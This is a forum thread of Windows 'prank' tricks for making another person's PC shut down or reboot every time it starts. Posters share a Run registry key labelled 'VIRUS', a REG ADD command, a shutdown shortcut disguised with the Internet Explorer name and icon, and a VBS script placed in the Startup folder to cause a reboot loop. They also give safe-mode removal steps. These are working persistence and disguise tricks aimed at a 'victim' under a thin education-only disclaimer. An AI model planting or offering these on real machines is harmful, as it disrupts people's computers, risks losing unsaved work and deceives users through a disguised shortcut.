Disclaimer : This is for education purpose only if something like this happens to you. How to do it Shutdown your friend's pc when every time its restarts. Add the following registry key and that should do the job for you. Code: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ha..??\" -f" DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to Code: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] and remove the string value named VIRUS, restart you computer.
can't we remove that from startup. Will it give time to establish the explorer or it'll shutdown instantly. Wat happens is safe mode?
Nice Trick NDL ! I used the same thing but in different manner a long time ago. Let me just share it with you all. Just right click on desktop. Select "new" from menu and then select "shortcut". Now instead of browsing the file, just type the following code : Code: shutdown -t 1 -f Now click on "next" and then name the file as "Internet Explorer" or whatever you want. And then click on "Finish". A new shortcut is created on the desktop. Now right click on the shortcut and select "properties" from the menu. You will find a button "Change icon". Now click on it and choose the icon whichever you want. If you have named the icon as "Internet Explorer" , just choose the icon of Internet Explorer. Now its ready to work. Whenever Anyone would try to start the Internet Explorer using this icon , the pc will be shutdown or will logoff ( in case of if you are using good anti virus). Before logging off / Shutdown, it will close all the opened applications. I have tested this trick with only Windows XP SP2 only. It won't harm your pc anyway but can tease the victim. For neo_vi, whenever you are starting up in safe mode, system will load only the basic drivers required to work the system properly. No other user-defined start ups or application controlled start ups will be loaded. So, you can start your system in safe mode and can remove the registry entry.
this isn't working as it is posted..... it is logging off the system rather than shutting down I just tried it now
ya. i too tried. it only logs off the system. try this Code: shutdown -s or shutdown -r It will work fine.
and one more thing i think you should also edit your post now either edit the quoted code or the title of the post
Articles once submitted cannot be edited and PM me the new content if you would like to update it. Let me know the exact changes.
Code: REG ADD \\HKEY_LOCAL_MACHIN\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SHUTDOWN /d "SHUTDOWN /s" I think that should do it. I will test it out on my XP partition to see how it goes. EDIT: Never mind. I had vista and xp mixed up.
one another way to put PC in Restart cycle : Code: Set WSHShell = WScript.CreateObject("WScript.Shell") WshShell.Run "C:\WINDOWS\system32\shutdown.exe -r -t 0" wscript.quit() just copy paste above code in notepad and save file as C:\Documents and Settings\All Users\Start Menu\Programs\Startup\reboot.vbs this will put ur pc in reboot cycle..........